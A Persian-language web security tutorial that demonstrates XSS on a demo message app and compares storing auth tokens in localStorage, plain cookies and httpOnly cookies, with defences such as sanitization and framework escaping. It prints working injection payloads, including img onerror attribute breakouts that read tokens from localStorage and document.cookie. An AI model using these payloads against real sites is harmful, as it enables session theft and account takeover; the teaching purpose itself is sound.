با سلام و خسته نباشید خدمت همراهان گرامی روکسو! یکی از وظایف شما به عنوان توسعه دهنده وب تامین امنیت برنامه های وب است که یکی از سرشاخه های آن موضوع حملات Cross-Site Scripting یا به اختصار حملات XSS می باشد. ما می خواهیم در مقاله آموزشی با این نوع از حملات آشنا شده و راهکار مقابله با آن را پیدا کنیم. همچنین در مورد یک مسئله مهم (ذخیره سازی کوکی ها در localstorage یا cookies) صحبت خواهیم کرد. من برای شروع این یک کد آماده را برای شما قرار می دهم تا آن را دانلود کنید:
این پروژه یک برنامه ساده است که به صورت مستقل روی مرورگر اجرا می شود اما برای اجرای حملات XSS معمولا به یک سرور نیز نیاز داریم. البته برنامه ما طوری نوشته شده که بتوانیم روی آن حملات XSS را نمایش بدهیم بنابراین جای نگرانی نیست. اگر این برنامه را باز کنید، می بینید که 2 فیلد داریم: فیلد اول (Your Message) یک پیام ساده و فیلد دوم (Message Image) یک تصویر برای این پیام است. اگر این برنامه را روی سرور قرار می دادیم قطعا این فیلد ها به سمت سروری ارسال شده و در یک پایگاه داده ذخیره می شوند (مثل هر برنامه دیگری که روی وب است).
حالا به مسئله اصلی می رسیم. حملات XSS یا همان Cross-Site Scripting چه نوع حملاتی هستند؟ این حملات به طور خلاصه در مورد اجرای کد جاوا اسکریپت روی سیستم کاربران دیگر هستند! ساده ترین نوع این حملات بدین شکل است که کاربر مخرب در سایت شما dev tools مرورگر را باز کرده و از سربرگ source به کدهای جاوا اسکریپت شما نگاه می اندازد. مثلا در کدهای جاوا اسکرپیت ما یک تابع به نام formSubmitHandler وجود دارد که با ثبت شدن فرم اجرا شده و کارهای ابتدایی را انجام می دهد (اعتبارسنجی ساده برای خالی نبودن فیلد ها و غیره). سپس متد دیگری به نام renderMessages صدا زده می شود که مسئول ساخت یک لیست و نمایش این محصولات می باشد. نکته مهم در کدهای ما خط آخر متد renderMessages می باشد:
function renderMessages() { let messageItems = ''; for (const message of userMessages) { messageItems = ` ${messageItems} <li class="message-item"> <div class="message-image"> <img src="${message.image}" alt="${message.text}"> </div> <p>${message.text}</p> </li> `; } userMessagesList.innerHTML = messageItems; }
در خط آخر این متد برای نمایش پیام های کاربر از innerHTML استفاده کرده و آن ها را درون تگ های <ul> تزریق می کنیم. مسئله اینجاست که innerHTML تمام کدهای بالاتر از خود را که به آن پاس داده می شوند، HTML در نظر می گیرد! به سادگی می فهمیم که هر چیزی که در فیلد های فرم ما نوشته بشود به صورت HTML ساده (یعنی escape نشده و بدون ملاحظات امنیتی) درون صفحه نمایش داده می شود! به عبارت دیگر اگر ما کدهای جاوا اسکریپتی را بنویسیم احتمالا در صفحه اجرا خواهد شد، به همین دلیل من در فیلد Your Message کد زیر را می نویسم:
<script> alert("Hacked!"); </script>
هکرهای واقعی کدهای مخرب واقعی را در این قسمت می نویسند (مثلا ارسال اطلاعات فرد با AJAX به یک سرور خصوصی و الی آخر) اما من فعلا برای ساده نگه داشتن بحث از یک alert ساده استفاده می کنم. با ثبت این فرم نتیجه ای شبیه به نتیجه زیر را می گیرید:
همانطور که در تصویر بالا می بینید تصویر من نمایش داده شده اما هیچ متنی به جز علامت <" نمایش داده نمی شود و تابع alert نیز اجرا نخواهد شد. اگر به جای double quotes از single quotes استفاده کنیم حتی علامت <" را نیز نخواهیم دید:
<script> alert('Hacked!'); </script>
اگر از Dev tools مرورگر خود این عنصر اضافه شده را inspect کنیم متوجه خواهیم شد که تگ های ما درون HTML قرار گرفته اند:
<p> <script> alert('Hacked!'); </script> </p>
به نظر شما چرا alert نمایش داده نشده است؟ مرورگرهای امروزی و مدرن به مسئله حملات XSS حساس هستند و سعی می کنند از کاربران در مقابل چنین حملاتی محافظت کنند. یعنی اگر در قسمتی از کد innerHTML داشته باشیم (نه در حالت های دیگر)، خود مرورگر متوجه می شود که نباید اجازه اجرای اسکریپت را به کسی بدهد. من در ادامه روشی را به شما نشان می دهم که در آن می توانیم alert یا هر اسکریپت دیگری را اجرا کنیم بنابراین اجرا نشدن اسکریپت ما با innerHTML به معنی غیر ممکن بودن اجرای اسکریپت ها نیست.
همانطور که گفتم برنامه ما یک برنامه ساده است که روی کلاینت (مرورگر کاربر) اجرا می شود بنابراین اگر بتوانیم اسکریپت های خود را نیز اجرا کنیم، فقط می توانیم خودمان را هک کنیم! چرا که سروری نداریم. من فقط می خواهم شما را با این نوع حملات آشنا کنم. در برنامه های واقعی این پیام ها در سمت یک پایگاه داده ذخیره خواهند شد و کاربران دیگر نیز آن را بارگذاری می کنند (مثلا کاربران می خواهند پیام ما را ببینند یا در فرمی به کسی پیام خصوصی ارسال کرده ایم). در چنین حالتی اسکریپت های ما برای آن ها و روی مرورگر آن ها نیز بارگذاری و اجرا می شود! حالا اگر به جای alert ساده یک درخواست AJAX برای دزدیدن اطلاعات کاربر داشته باشیم چطور؟ مثلا به کوکی های کاربران دسترسی پیدا کرده و توکن های دسترسی آن ها را بدزدیم تا وارد حساب کاربری شان شویم! حتی جالب تر اینکه ما می توانیم یک درخواست HTTP را از سمت آن کاربر به سرور ارسال کنیم تا برای ما یک محصول گران قیمت را بخرد و پول از حسابش کم شود!
با مفهوم کلی حملات XSS آشنا شدیم اما به دلیل محافظت پیش فرض مرورگرهای مدرن از XSS نتوانستیم کد ساده خود (متد Alert) را در مرورگر اجرا کنیم. اکنون می خواهم روشی را به شما نشان بدهم که با استفاده از آن می توانیم این کار را انجام بدهیم. یادتان باشد که روش ذکر شده در این بخش یکی از صدها روش مختلف برای انجام حملات XSS است و این نوع حملات به هیچ عنوان به این تک مثال محدود نمی شوند اما درون مایه تمام این حملات یک فاکتور اصلی است: اجرای کدهای جاوا اسکریپت روی مرورگر! بنابراین اگر ما بتوانیم جلوی ریشه حمله (اجرای جاوا اسکریپت) را بگیریم، تمام انواع آن را خنثی کرده ایم!
همانطور که قبلا اشاره کردم، روش دیگری برای اجرای کد alert وجود دارد. آیا تا به حال به فیلد دوم فرم نگاه کرده اید؟ بیایید دوباره به متد renderMessage نگاهی بیندازیم:
function renderMessages() { let messageItems = ''; for (const message of userMessages) { messageItems = ` ${messageItems} <li class="message-item"> <div class="message-image"> <img src="${message.image}" alt="${message.text}"> </div> <p>${message.text}</p> </li> `; } userMessagesList.innerHTML = messageItems; }
همانطور که می بینید برای فیلد دوم که تصویر ما است، باز هم از innerHTML استفاده می کنیم تا آدرس را به عنوان src تگ img قرار بدهیم. به عبارتی باز هم از innerHTML استفاده می کنیم اما اگر تگ img را طوری تغییر بدهیم که به نفع ما عمل کند. چطور؟ به این کد نگاه کنید:
<img src="${message.image}" alt="${message.text}">
نکته در src است. message.image درون دو double quotation قرار گرفته است، درست است؟ بنابراین ما می توانیم با یک URL جعلی شروع کنیم و در انتهای آن یک علامت double quotation نیز اضافه کنیم. با این کار عملا src را می بندیم. مثلا من برای فیلد message image می گویم:
توجه کنید که کد نوشته شده در قسمت Message Image به شکل زیر است:
whatever.com/image.jpg" onerror="alert('Hacked!')"
من در اینجا از عمد یک آدرس جعلی را داده ام (تصویری که وجود نداشته باشد) تا بارگذاری تصویر به مشکل برخورد کند. در مرحله بعد علامت " را قرار داده ام که باعث بسته شدن src می شود. حالا که بارگذاری تصویر به مشکل خورده می توانیم از attribute پیش فرضی به نام onerror استفاده کنیم که یک attribute ساده در مرورگرهای امروزی است و ما آن را اختراع نکرده ایم. کار این attribute این است که اگر عملیاتی با خطا روبرو شد، به مرورگر بگوید که چه کار کند (مثلا یک تصویر جایگزین را نمایش بدهد و غیره). در این صورت ما می توانیم کدهای جاوا اسکریپت خود را مستقیما درون آن بنویسیم. در واقع با اجرای این کد، تگ img به شکل زیر تغییر می کند:
<img src="whatever.com/image.jpg" onerror="alert('Hacked!')" alt="${message.text}">
حالا اگر دکمه Send Message را بزنیم تا فرم ثبت شود، alert ما به سادگی اجرا خواهد شد!
همانطور که قبلا هم گفته ام این یک حمله XSS بسیار ساده است که فقط alert می کند اما در وب سایت های واقعی می توانیم کدهای دزدیدن کوکی های کاربر یا ارسال درخواست HTTP از سمت آن ها را به جای alert بنویسیم. حالا زمانی که این پیام برای کاربران دیگر بارگذاری می شود، مرورگرهایشان آن را اجرا می کنند و کاری که نباید بشود، می شود! راه حل و راه مقابله با این حملات چیست؟ برای حل این مشکل راه های مختلفی وجود دارد. مثلا می توانیم به جای نوشتن کد به شکل زیر از کدهای جایگزین استفاده کنیم:
<img src="${message.image}" alt="${message.text}">
یعنی به جای نوشتن src به صورت مستقیم، ابتدا یک تگ img خالی را render کرده و سپس alt و src را برایش مشخص کنید. در واقع راه استانداردی برای مقابله با حملات XSS نیست بلکه باید همیشه حواستان را جمع کنید که آیا کسی می تواند در حال حاضر کدهایش را به سایت من تزریق کند یا خیر؟ نکته مهم تر این است که شما باید همیشه داده های کاربران را sanitize (به معنی «پاکسازی») کنید. مثلا فرض کنید برنامه خود را با زبان Node.js نوشته اید. در چنین حالتی می توانید از پکیج هایی مثل پکیج node-sanitize استفاده کنید:
https://www.npmjs.com/package/sanitize
این نوع پکیج ها مسئولیت پاکسازی داده های شما را دارند. پاکسازی یا sanitize کردن داده ها یعنی ما به دنبال موارد خاصی در اطلاعات ارسالی از کاربر می گردیم و اگر موارد غیر عادی (شبیه به اسکریپت) را پیدا کردیم، آن ها را خنثی می کنیم. مثلا اگر در جایی تگ <script> داشته باشیم یا ساختاری مثل (Y)X را ببینیم احتمالا کاربر می خواهد کدهای خودش را روی سایت ما قرار بدهد. پکیج های sanitize این نوع ساختار ها را کاملا حذف یا حداقل خنثی می کنند (با روش هایی مثل escape کردن کاراکتر های خاص). شما باید بین این پکیج ها گشته و پکیج مورد نظر خود را پیدا کنید. مثلا پکیجی که بالاتر معرفی کردم از حدود 2 سال قبل آپدیت نشده است بنابراین می توانید به دنبال پکیج های جدید تر مانند sanitize-html باشید.
همچنین اگر از فریم ورک هایی مانند لاراول استفاده می کنند می دانید که برای نمایش داده ها در لاراول از blade استفاده می شود. یکی از دستورات اصلی blade دستور {{}} است که به صورت خودکار تمام رشته ها را escape می کند بنابراین کاربران امن خواهند بود (این قابلیت به صورت پیش فرض در لاراول است به همین دلیل توصیه می کنم همیشه از فریم ورک ها استفاده کنید) اما اگر بنا به دلیلی بخواهید امنیت را حتی بیشتر کنید می توانید از regex نیز در اعتبارسنجی فرم هایتان استفاده کنید. همچنین استفاده از فریم ورک هایی مانند Vue یا React یا Angular به صورت پیش فرض تمام کاراکتر های نمایش داده شده را escape می کنند.
نکته بعدی در پکیج های اضافه شده به برنامه شما است. شاید شما از یک پکیج آماده برای نمایش فرم های خود استفاده کنید. یادتان باشد که اگر این پکیج یک پکیج ناشناس و مشکل دار باشد (توسعه دهنده از عمد کدهای مخربی را در آن قرار دهد) این کدها به عنوان بخشی از برنامه شما کار خواهند کرد بنابراین محافظت در برابر آن ها غیر ممکن می شود. حتی برخی از اوقات توسعه دهنده اصلی از وجود مشکل در پکیج خود بی خبر است چرا که یک هکر به پکیج دسترسی پیدا کرده و آن را تغییر داده است (مثلا ایجاد یک درخواست pull و جاسازی کدهای مخرب بدون اینکه کسی متوجه شود)! بنابراین باید حواستان باشد که از هر جایی پکیج هایتان را دانلود نکنید، همچنین از هر پکیج ناشناسی استفاده نکنید بلکه از پکیج های معروف و تایید شده استفاده کنید.
برای اطلاعات بیشتر به بخش XSS از پروژه امنیتی بزرگ OWASP سری بزنید:
https://owasp.org/www-community/attacks/xss/
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
در ابتدای این مقاله هم عرض کردم که این فقط یک مثال از صدها مثال و روش برای انجام XSS بود اما درون مایه تمام این حملات یک فاکتور اصلی است: اجرای کدهای جاوا اسکریپت روی مرورگر! بنابراین اگر ما بتوانیم جلوی ریشه حمله (اجرای جاوا اسکریپت) را بگیریم، تمام انواع آن را خنثی کرده ایم!
من در این مقاله سعی کرده ام کلیت حملات XSS را به صورت خلاصه برای شما عزیزان توضیح بدهم. امیدوارم که متوجه مطلب و اهمیت آن شده باشید. حالا که با XSS آشنا شده ایم در قسمت بعد باید موضوعی جنجالی در دنیای وب را بررسی کنیم: ذخیره توکن ها در localstorage یا cookies؟
این موضوع یکی از بحث های پر تنش دنیای وب بین توسعه دهندگان است. همانطور که می دانید در برنامه های امروزی اطلاعات مهمی مانند session data یا توکن های امنیتی را در کوکی ها ذخیره می کنیم اما در سال های اخیر دعوایی بر سر این موضوع به وجود آمده است که توسعه دهندگان را به دو دسته تقسیم کرده است:
مسئله اینجاست که localStorage نسبت به داده های XSS آسیب پذیر است بنابراین بسیاری از افراد دوست ندارند داده هایشان را در آن ذخیره کنند. در این قسمت می خواهیم این مسئله را با هم بررسی کنیم که آیا واقعا کوکی ها بهتر از localStorage هستند؟ برای شروع این بحث یک پروژه آماده را برایتان در نظر گرفته ام که باید دانلود کنید:
پروژه بالا یک پروژه Node.js است بنابراین بهتر است با Node.js آشنایی داشته باشید اما اگر با آن غریبه هستید نیز جای نگرانی نیست چرا که من سعی می کنم کدها را توضیح بدهم. زمانی که این پروژه را دانلود کردید آن را از حالت فشرده خارج کرده و سپس یک ترمینال را در مسیر آن باز کنید. در مرحله بعد کد زیر را در ترمینال اجرا نمایید:
npm install
با این کار پکیج ها و وابستگی های پروژه اجرا خواهند شد. برای این کار باید پکیج Node.js را نصب کرده باشید (دانلود Node.js). پس از نصب وابستگی های پروژه دستور زیر را در همان ترمینال اجرا کنید:
node app.js
با این کار فایل App.js که سرور اصلی ما محسوب می شود، راه اندازی خواهد شد. حالا می توانیم به آدرس http://localhost:3000/ برویم و پروژه خود را در مرورگر مشاهده کنیم. یادتان باشد که ترمینال را همینطور باز و فعال نگه دارید. همچنین فعلا با دکمه های بالای صفحه (Send Request with Auth Data و Fetch Token & Save) کاری نداشته باشید. به غیر از این دکمه ها، همه چیز مانند پروژه قبلی ما است، یعنی یک فیلد Your Message و یک فیلد Message Image URL داریم. با وارد کردن این داده ها یک آیتم به لیست زیر این فرم اضافه می شود بنابراین چیز جدیدی نداریم.
در یک برنامه مدرن SPA قسمت Frontend از backend جدا شده است (برنامه هایی که با Vue.js یا React.js یا Angular نوشته می شوند). به همین خاطر در چنین برنامه هایی سیستم احراز هویت بدین شکل است که کاربر بعد از ورود به حساب کاربری خود یک توکن امنیتی دریافت می کند و از آن به بعد آن توکن را به تمام درخواست هایش ضمیمه می کند تا مشخص شود که چه کسی است. من نمی خواستم یک سیستم کامل احراز هویت را پیاده سازی کنیم چرا که بحث ما authentication نیست بلکه بحث ما ذخیره سازی این توکن ها روی localStorage یا Cookies است. به همین دلیل من سه endpoint ساده را در فایل app.js تعریف کرده ام:
این سه endpoint را در فایل app.js پیدا خواهید کرد:
// بقیه کدها // app.get('/authenticate-token', (req, res) => { res.json({ token: 'abc' }); }); app.get('/authenticate-cookie', (req, res) => { res.cookie('token', 'abc', { httpOnly: true }); res.json({ message: 'Token cookie set!' }); }); app.get('/user-data', (req, res) => { // بقیه کدها //
حالا فهمیدید هدف از ایجاد دکمه های Send Request with Auth Data و Fetch Token & Save چه بود؟ کار دکمه Fetch Token & Save شبیه سازی عملات login شدن و دریافت توکن است:
function getAndSaveTokenLocalStorage() { fetch('http://localhost:3000/authenticate-token') .then((response) => response.json()) .then((data) => { localStorage.setItem('token', data.token); }); }
کد بالا متعلق به فایل App.js در پوشه frontend است و منطقی است که برای دکمه Fetch Token & Save نوشته ایم. همانطور که از کد بالا مشخص است با فشردن این دکمه ابتدا یک درخواست به آدرس 'http://localhost:3000/authenticate-token' ارسال می شود و توکن دریافتی از آن (abc) را در localStorage ذخیره می کند.
از طرفی منطق دکمه Send Request with Auth Data نیز به شکل زیر است:
async function sendData() { loadFromLocalStorage(); // loadFromCookie(); console.log(loadedToken); const response = await fetch('http://localhost:3000/user-data', { headers: { Authorization: 'Bearer ' + loadedToken, }, }); const responseData = await response.json(); if (response.ok) { console.log('SUCCESS!'); } else { console.log('FAILED!'); } console.log(responseData); }
در این متد ابتدا توکن را از localStorage گرفته و آن را روی متغیر (let) ای به نام loadedToken تنظیم می کنیم (این متغیر را در ابتدای همین فایل تعریف کرده ایم). در مرحله بعد توکن را به آدرس 'http://localhost:3000/user-data' ارسال می کنیم. در نهایت بر اساس اینکه توکن ارسال شده صحیح است یا خیر (آیا توکن برابر abc است یا خیر) عبارت SUCCESS یا FAILED را نمایش می دهیم. قطعا یک برنامه واقعی را بدین شکل نمی نویسند و ما فقط حالت اصلی آن را شبیه سازی کرده ایم تا بتوانیم مسئله localStorage در برابر Cookie ها را بررسی کنیم.
بر اساس این توضیحات به مرورگر (آدرس http://localhost:3000/) رفته و مستقیما روی دکمه Send Request with Auth Data کلیک می کنیم. با این کار در کنسول مرورگر یک خطا دریافت می کنیم:
اما اگر ابتدا روی Fetch Token & Save کلیک کرده و سپس روی Send Request with Auth Data کلیک کنیم، عملیات را با موفقیت پشت سر می گذاریم:
این سیستم یک سیستم متداول در برنامه های مدرن و امروزی است اما برخی از افراد اعتقاد دارند روشی که ما برای پیاده سازی آن انتخاب کرده ایم (استفاده از localStorage) امن نیست. در ادامه در مورد این نقطه نظر بحث خواهیم کرد.
همانطور که قبلا هم گفتم در یک برنامه مدرن SPA قسمت Frontend از backend جدا شده است (برنامه هایی که با Vue.js یا React.js یا Angular نوشته می شوند). به همین خاطر در چنین برنامه هایی سیستم احراز هویت بدین شکل است که کاربر بعد از ورود به حساب کاربری خود یک توکن امنیتی دریافت می کند و از آن به بعد آن توکن را به تمام درخواست هایش ضمیمه می کند تا مشخص شود که چه کسی است. ما قبلا چنین سیستمی را با دکمه های Fetch Token & Save و Send Request with Auth Data پیاده سازی کرده بودیم.
مسئله اینجاست که در حال حاضر برنامه ما این توکن امنیتی را در localStorage ذخیره می کند که از نظر بسیاری از توسعه دهندگان امن نیست. اگر ما به فایل app.js در پوشه frontend برویم متدی به نام renderUserInput را می بینیم که به شکل زیر است:
function renderUserInput(msg, imageUrl) { const renderedContent = ` <div> <img src="${imageUrl}" alt="${msg}"> </div> <p>${msg}</p> `; userOutputElement.innerHTML = renderedContent; userOutputElement.style.display = 'flex'; }
یعنی ابتدا msg (پیام کاربر) و imageUrl (آدرس تصویر) را گرفته و سپس آن ها را درون یک کد HTML قرار داده و نهایتا با innerHTML آن را به صفحه پیوست می کنیم. همانطور که در قبلا به صورت مفصل و کامل بررسی کردیم، چنین روشی یکی از اولین و بدیهی ترین روش های ممکن برای پیاده سازی حملات XSS است. همانطور که پیش تر توضیح دادم مرورگرهای مدرن از کاربران در مقابل XSS تا حدی محافظت می کنند بنابراین کپی کردن یک اسکریپت مانند اسکریپت زیر در فیلد Your Message باعث ایجاد XSS نمی شود:
<script> alert('Hacked!'); </script>
راه اصلی ما برای XSS در اینجا استفاده از یک لینک جعلی و خراب به علاوه خصوصیت onerror است! یعنی باید کد زیر را در قسمت Message Image Url وارد کنیم:
whatever.com/image.jpg" onerror="alert('Hacked!')
onerror زمانی اجرا می شود که عملیات مورد نظر (در اینجا، بارگذاری تصویر) با شکست مواجه شود. از آنجایی که URL ما جعلی و خراب است می دانیم که بارگذاری تصویر با شکست مواجه خواهد شد بنابراین حتما اسکریپت های داخل onerror اجرا خواهند شد. اگر این مقدار را درون Message Image Url نوشته باشیم و دکمه Submit را بزنیم، سریعا پیام Hacked برای ما نمایش داده می شود.
احتمالا می گویید مگر با یک پیام ساده Hacked اتفاقی برای ما می افتد؟ مسئله نمایش یک پیام ساده نیست بلکه مسئله اصلی ما قابلیت اجرای کدهای جاوا اسکریپت در مرورگر از سمت کاربر است. اگر یادتان باشد ما برای ذخیره سازی و دریافت توکن امنیتی در localStorage از جاوا اسکریپت استفاده کرده بودیم (مثال از فایل app.js در پوشه frontend):
function loadFromLocalStorage() { const token = localStorage.getItem('token'); loadedToken = token; }
بنابراین می توانیم با جاوا اسکریپت به همین localStorage دسترسی پیدا کنیم:
https://whatever.com/image.jpg" onerror="let token = localStorage.getItem('token'); console.log(token)
همانطور که می بینید من به راحتی از localStorage.getItem استفاده کرده ام تا توکن را را در یک let به نام token ذخیره کنم. سپس آن را log کرده ام. حالا اگر به مرورگر بروید و این کد را درون Message Image Url بنویسید، با کلیک روی گزینه Submit توکن شما (همان abc) در کنسول مرورگر log می شود. مشکل اینجاست که یک هکر واقعی به جای log کردن داده های شما، از یک درخواست AJAX استفاده کرده و توکن شما را برای خودش ارسال کند. با انجام این کار می تواند از طرف شما هر درخواستی را ثبت کند!
بنابراین نتیجه می گیریم که localStorage اصلا امن نیست و نباید از آن استفاده کنیم، درست است؟ فعلا نمی توانیم عجولانه تصمیم بگیریم! بگذارید اول نگاهی به جایگزین های localStorage داشته باشیم. ما تنها یک روش جایگزین داریم و آن هم استفاده از کوکی ها به جای localStorage است. همانطور که می دانید localStorage یک محل ذخیره سازی برای داده ها در مرورگر است، کوکی ها نیز دقیقا یک محل ذخیره سازی برای مرورگر هستند و از نظر «هدف» با localStorage یکی می باشند. من منطق استفاده از کوکی ها را از قبل آماده کرده ام. شما می توانید برای فعال کردن آن به راحتی به فایل app.js در پوشه frontend رفته و کد زیر (در خط 66) را کامنت کنید:
saveDataBtn.addEventListener('click', getAndSaveTokenLocalStorage);
و به جای آن خط بعدی اش را از حالت کامنت در بیاورید. بنابراین ظاهر نهایی کار بدین شکل خواهد بود:
sendDataBtn.addEventListener("click", sendData); // saveDataBtn.addEventListener('click', getAndSaveTokenLocalStorage); saveDataBtn.addEventListener("click", getAndSaveTokenCookie); // saveDataBtn.addEventListener('click', getAndSaveTokenHttpOnlyCookie);
حالا به متد sendData در خط 47 همین فایل رفته و به جای loadFromLocalStorage از متن loadFromCookie استفاده کنید:
async function sendData() { // loadFromLocalStorage(); loadFromCookie(); console.log(loadedToken); const response = await fetch("http://localhost:3000/user-data", { // بقیه کدها //
با این کار همان مکانیسم قبلی را به شکلی پیاده کرده ایم که این بار به جای localStorage از Cookie ها برای ذخیره سازی و دریافت توکن استفاده شود. اگر به کدهای زیر نگاه کنید متوجه می شوید که هیچ تفاوتی از نظر عملکرد بین آن ها نیست (فایل app.js در Frontend):
function getAndSaveTokenLocalStorage() { fetch("http://localhost:3000/authenticate-token") .then(response => response.json()) .then(data => { localStorage.setItem("token", data.token); }); } function getAndSaveTokenCookie() { fetch("http://localhost:3000/authenticate-token") .then(response => response.json()) .then(data => { document.cookie = "token=" + data.token; }); }
ما همان توکن را دریافت و ذخیره می کنیم منتهی تا اینجای کار از localStorage استفاده کرده و از این به بعد از Cookie ها استفاده می کنیم. در ادامه از این کوکی ها استفاده خواهیم کرد.
در قسمت قبل به شما نشان دادم که استخراج کردن توکن با یک دستور ساده جاوا اسکریپت کار بسیار ساده ای بود و حمله کوچک XSS ما باعث دسترسی به حساب کاربر می شد. همچنین با هم کدهای localStorage را غیرفعال کردیم و به جای آن کدهای Cookie را فعال کردیم. حالا نوبت به امتحان کردن کوکی ها و پاسخ به این سوال رسیده است که آیا کوکی ها امن تر از localStorage هستند یا خیر. تمام تغییراتی را که در قسمت قبل برایتان توضیح دادم انجام بدهید و سپس به مرورگر بروید (طبیعتا باید سرور شما در حال اجرا باشد - دستور node app.js). دقیقا مثل localStorage اگر مستقیما روی دکمه Send Request with Auth Data کلیک کنیم در کنسول مرورگر یک خطا دریافت می کنیم. چرا؟ به دلیل اینکه هنوز توکن امنیتی وجود ندارد اما سرور ما منتظر یک توکن امنیتی است. از طرفی اگر ابتدا روی Fetch Token & Save کلیک کرده و سپس روی Send Request with Auth Data کلیک کنیم، عملیات را با موفقیت پشت سر می گذاریم چرا که ابتدا توکن ساخته و ثبت می شود.
حالا باید برنامه را تست کنیم تا ببینیم آیا کوکی ها امن تر از localStorage هستند یا خیر؟ اگر یادتان باشد در قسمت قبل برای استخراج توکن از localStorage از کد زیر در فیلد Message Image Url استفاده کرده بودیم:
https://whatever.com/image.jpg" onerror="let token = localStorage.getItem('token'); console.log(token)
آیا ما می توانیم همین کد را به شکلی تغییر بدهیم که توکن ما را از کوکی ها استخراج کند؟ اگر یادتان باشد برای خواندن کوکی ها در فایل app.js (پوشه frontend) به روش زیر عمل کرده بودیم:
function loadFromCookie() { try { const token = document.cookie .split(";") .find(c => c.startsWith("token")) .split("=")[1]; loadedToken = token; } catch (err) { console.log("No cookie found."); } }
ما در اینجا یک ثابت به نام token داریم که محتوایش را بدین شکل تعریف کرده ایم: ابتدا از document.cookie به کوکی ها دسترسی پیدا کرده ایم و سپس مقادیر مختلف درون کوکی را با split از هم جدا کرده ایم. در مرحله بعد متد find را صدا زده ام. این متد روی تک تک مقادیر split شده (هر یک جفت key/value در کوکی) اجرا شده و بر اساس شرط ما عناصری را پیدا می کند. من گفته ام که توکن ما با رشته token شروع می شود (startsWith) و در نهایت مقدار آن را گرفته ام (پس از علامت =). بنابراین این کد برای دسترسی به کوکی ها کافی است و می توانیم آن را عینا در فیلد Message Image Url بنویسیم:
https://whatever.com/image.jpg" onerror="let token = document.cookie.split(";").find(c => c.startsWith("token")).split("=")[1]; console.log(token)
اگر کد بالا را در فیلد Message Image Url نوشته و submit را بزنیم، باز هم توکن abc را در کنسول مرورگر مشاهده می کنیم. بنابراین باز هم یک حمله XSS را داریم که هکر می تواند توکن را دریافت کرده و آن را به سرور خودش ارسال کند. بنابراین آیا می توان گفت که کوکی ها و localStorage دقیقا به یک اندازه امن هستند (هر دو قابلیت هک شدن را دارند)؟
اگر یک توسعه دهنده با تجربه باشید، احتمالا با خودتان می گویید که من از کوکی های صحیح استفاده نکرده ام! حرفتان کاملا درست است! روش صحیح این بود که به جای استفاده از یک کوکی عادی از کوکی های HTTPOnly استفاده کنیم. بیایید این کار را انجام بدهیم. من کدهایش را از قبل نوشته و در پروژه قرار داده ام بنابراین برای فعال کردن آن فقط باید چند خط را کامنت کرده و چند خط دیگر را فعال کنیم. اگر به فایل app.js در مسیر اصلی پروژه (نه در frontend) نگاه کنید، متوجه حضور یک endpoint خاص می شوید:
app.get('/authenticate-cookie', (req, res) => { res.cookie('token', 'abc', { httpOnly: true }); res.json({ message: 'Token cookie set!' }); });
در این مسیر ما یک کوکی httpOnly را تنظیم می کنیم. یعنی چه؟ کوکی های عادی قابلیت ویرایش یا خوانده شدن توسط جاوا اسکریپت را دارند اما کوکی های httpOnly کوکی هایی هستند که فقط از سمت سرور تعریف و ارسال می شوند و جاوا اسکریپت توانایی تعامل با آن کوکی را ندارد (نه خواندن آن و نه ویرایش آن). به زبان ساده تر کوکی های httpOnly فقط در سمت سرور قابل دسترسی هستند. ما می خواهیم از این به بعد از این مسیر برای تست حملات XSS استفاده کنیم. برای انجام این کار به فایل app.js در پوشه frontend رفته و این بار خط زیر را کامنت کنید (خط 67):
saveDataBtn.addEventListener("click", getAndSaveTokenCookie);
در عوض خط بعدی آن که از کوکی های httpOnly استفاده می کند را از حالت کامنت در بیاورید. در نهایت این قسمت باید به شکل زیر باشد:
sendDataBtn.addEventListener("click", sendData); // saveDataBtn.addEventListener('click', getAndSaveTokenLocalStorage); // saveDataBtn.addEventListener("click", getAndSaveTokenCookie); saveDataBtn.addEventListener('click', getAndSaveTokenHttpOnlyCookie);
حالا به متد sendData در همین فایل رفته و loadFromCookie را نیز کامنت کنید:
async function sendData() { // loadFromLocalStorage(); // loadFromCookie(); console.log(loadedToken); const response = await fetch("http://localhost:3000/user-data", { headers: { Authorization: "Bearer " + loadedToken, }, }); // بقیه کدها //
با این کار هر دو کد مربوط به خواندن کوکی و localStorage را از قسمت client (مرورگر کاربر) حذف کرده ایم چرا که نمی توانیم کوکی ها را از سمت کلاینت بخوانیم اما نکته مهمی وجود دارد. می توانید این نکته را حدس بزنید؟ به نظر شما اگر بخواهیم از این کوکی های HTTPS استفاده کنیم، سایت ما امن خواهد بود؟ در ادامه به این سوال شما پاسخ خواهم داد.
در قسمت قبل متوجه شدیم که از نظر مقاومت در برابر حملات XSS هیچ تفاوتی بین کوکی های عادی و localStorage وجود ندارد و می توانستیم حملات XSS خود را به سادگی روی هر دوی آن ها انجام بدهیم اما بحث جدیدی تحت عنوان کوکی های httpOnly مطرح می شود که در نوع خودش سوال برانگیز است. آیا این نوع از کوکی های خاص که توانایی تعامل با جاوا اسکریپت را ندارند در مقابل حملات XSS امن هستند؟ در قسمت قبل به این کد رسیده بودیم و به شما گفتم که نکته مهمی در آن وجود دارد:
async function sendData() { // loadFromLocalStorage(); // loadFromCookie(); console.log(loadedToken); const response = await fetch("http://localhost:3000/user-data", { headers: { Authorization: "Bearer " + loadedToken, }, }); // بقیه کدها //
زمانی که با استفاده از fetch (مثل کد بالا) یا هر روش دیگری یک درخواست را به URL یا آدرسی ارسال می کنید که برنامه شما روی همان آدرس قرار دارد، تمام کوکی هایتان (چه httpOnly و چه غیر آن) به صورت خودکار توسط مرورگر درون درخواست ارسالی قرار می گیرند. مثلا در اینجا برنامه ما روی آدرس localhost:3000 میزبانی می شود و از طرفی درخواست fetch در کد بالا نیز به همان آدرس localhost:3000 ارسال می شود (مهم دامنه اصلی است) بنابراین header بالا تعریف نشده خواهد بود یا به عبارتی loadedToken در کد بالا undefined است اما خود کوکی (کل کوکی) جزئی از درخواست ارسالی خواهد بود. به همین دلیل است که در فایل app.js در مسیر اصلی پروژه علاوه بر بررسی header برای پیدا کردن توکن، کوکی ها را نیز بررسی کرده ایم:
app.get('/user-data', (req, res) => { // Parse token from headers const authHeader = req.headers.authorization; let token = authHeader.split(' ')[1]; // For "Bearer TOKEN" => get TOKEN if (!token || token === 'undefined') { // If token can't be found in "authorization" header, check cookies token = req.headers.cookie .split('; ') .find((c) => c.startsWith('token')) .split('=')[1]; } // بقیه کدها //
